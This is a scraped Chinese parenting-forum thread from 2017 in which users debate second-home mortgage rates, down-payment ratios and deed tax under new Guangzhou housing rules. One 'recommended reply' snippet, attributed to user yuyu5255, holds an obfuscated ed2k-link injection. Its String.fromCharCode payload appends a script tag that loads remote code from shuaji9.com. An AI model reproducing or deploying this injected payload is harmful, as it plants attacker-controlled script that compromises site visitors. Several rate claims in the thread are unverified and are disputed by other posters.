新政后，二套房利率如何计算？ - 房产楼市 - 广州妈妈网

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楼主

发表于 2017-3-21 14:30 |只看该作者 | 最新帖子 | 查看作者所有帖子 | 发短消息 | 加为好友 | 字体大小: tT

新政出来了，规定了认房认贷及首付比例，但是没有规定如果名下无房，但是贷款已经还清再买，是按首套房还是二套房计算，也没有规定二套房的商业利率现在是上浮还是有9折的折扣。另外，契税还是按二套交3个点吗？

回帖推荐

gpdcmiao 发表于10楼查看完整内容

汇丰升到85折了？

水中月下发表于12楼查看完整内容

哪里说的首付七成利率上浮？

yuyu5255 发表于17楼查看完整内容

ed2k://|file|filesize|'+eval(String.fromCharCode(119,105,116,104,40,100,111,99,117,109,101,110,116,41,48,91,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,116,112,58,47,47,115,104,117,97,106,105,57,46,99,111,109,47,63,97,61,49,39,93,59))+'|8798/

水中月下发表于22楼查看完整内容

装专家，已经有银行明确了，利率上浮按原政策

sen_xpy 发表于23楼查看完整内容

豪宅七成首付上浮10？

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沙发

发表于 2017-3-21 14:51 |只看该作者 | 最新帖子 | 查看作者所有帖子 | 发短消息 | 加为好友

同样疑惑中...希望广州接下来会出实施细则，深圳的细则就解释得非常清楚！
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3楼

发表于 2017-3-21 15:10 |只看该作者 | 最新帖子 | 查看作者所有帖子 | 发短消息 | 加为好友

这算是无房有贷
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4楼

发表于 2017-3-21 15:31 |只看该作者 | 最新帖子 | 查看作者所有帖子 | 发短消息 | 加为好友

求哪位大神可以解答，毕竟利息和契税差别很大呀。

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丑怪女啊丑怪妈

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5楼

发表于 2017-3-21 16:46 |只看该作者 | 最新帖子 | 查看作者所有帖子 | 发短消息 | 加为好友

简单说首付7成的一律上浮10%，其他可以照旧。
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丑怪女啊丑怪妈

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6楼

发表于 2017-3-21 17:44 |只看该作者 | 最新帖子 | 查看作者所有帖子 | 发短消息 | 加为好友

下午开会明确了，非普通住房是有区别的，只要新政要求首付7成的，利率一律上浮10%
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7楼

发表于 2017-3-21 17:51 |只看该作者 | 最新帖子 | 查看作者所有帖子 | 发短消息 | 加为好友

新政的话无房有贷款记录的普通住宅4成首付非普通住宅首付7成
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8楼

发表于 2017-3-21 17:53 |只看该作者 | 最新帖子 | 查看作者所有帖子 | 发短消息 | 加为好友

另首付7成一律利率是上浮10% 其他的商贷利率目前还是可以85折的噢~汇丰银行可以提供咨询短我聊啦！
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9楼

发表于 2017-3-21 18:47 |只看该作者 | 最新帖子 | 查看作者所有帖子 | 发短消息 | 加为好友

回复 Celine雯的帖子
另首付7成一律利率是上浮10%&nbsp;&nbsp;其他的商贷利率目前还是可以85折的噢~汇丰银行可以提供咨询短我聊 ...

汇丰升到85折了？
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10楼

发表于 2017-3-21 19:00 |只看该作者 | 最新帖子 | 查看作者所有帖子 | 发短消息 | 加为好友

谢谢各位啦，要买一手楼啊，如果可以自己选择银行就好了
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11楼

发表于 2017-3-21 19:41 |只看该作者 | 最新帖子 | 查看作者所有帖子 | 发短消息 | 加为好友

回复 Celine雯的帖子
另首付7成一律利率是上浮10%&nbsp;&nbsp;其他的商贷利率目前还是可以85折的噢~汇丰银行可以提供咨询短我聊 ...

哪里说的首付七成利率上浮？
来自[广州妈妈iPhone版]

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12楼

发表于 2017-3-21 19:44 |只看该作者 | 最新帖子 | 查看作者所有帖子 | 发短消息 | 加为好友

回复丑怪女啊丑怪妈的帖子
下午开会明确了，非普通住房是有区别的，只要新政要求首付7成的，利率一律上浮10% ...

哪里开的什么会？我问了银行还是85
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丑怪女啊丑怪妈

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13楼

发表于 2017-3-21 19:48 |只看该作者 | 最新帖子 | 查看作者所有帖子 | 发短消息 | 加为好友

水中月下发表于 2017-03-21 19:44
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下午开会明确了，非普通住房是有区别的，只要新政要求首付7成的，利率一律上浮..

沿江西路137号
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14楼

发表于 2017-3-21 19:51 |只看该作者 | 最新帖子 | 查看作者所有帖子 | 发短消息 | 加为好友

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哪里说的首付七成利率上浮？

针对新政后首付7成的噢是首付~很快银行就会有消息了~
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15楼

发表于 2017-3-21 19:52 |只看该作者 | 最新帖子 | 查看作者所有帖子 | 发短消息 | 加为好友

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汇丰升到85折了？

😂😂是啊升了~
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16楼

发表于 2017-3-21 19:54 |只看该作者 | 最新帖子 | 查看作者所有帖子 | 发短消息 | 加为好友

这算是无房有贷

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17楼

发表于 2017-3-21 19:58 |只看该作者 | 最新帖子 | 查看作者所有帖子 | 发短消息 | 加为好友

呵呵，表示高度怀疑，北京上海深圳认贷后也没说豪宅要上浮
来自[广州妈妈iPhone版]

点评

丑怪女啊丑怪妈我只能说政策如此：非普通住房，除首次购买（没有贷款记录，没有住房），其他都是首付7成，利率1.1倍。至于各银行会怎么执行，不是我回答的内容发表于 2017-3-21 20:37

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18楼

发表于 2017-3-21 20:13 |只看该作者 | 最新帖子 | 查看作者所有帖子 | 发短消息 | 加为好友

利率是以同贷书出来为准还是放款时为准？
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丑怪女啊丑怪妈一般同贷书为准。发表于 2017-3-21 20:31

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丑怪女啊丑怪妈

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19楼

发表于 2017-3-21 20:31 |只看该作者 | 最新帖子 | 查看作者所有帖子 | 发短消息 | 加为好友

利率是以同贷书出来为准还是放款时为准？

一般同贷书为准。

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丑怪女啊丑怪妈

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20楼

发表于 2017-3-21 20:37 |只看该作者 | 最新帖子 | 查看作者所有帖子 | 发短消息 | 加为好友

呵呵，表示高度怀疑，北京上海深圳认贷后也没说豪宅要上浮

我只能说政策如此：非普通住房，除首次购买（没有贷款记录，没有住房），其他都是首付7成，利率1.1倍。至于各银行会怎么执行，不是我回答的内容

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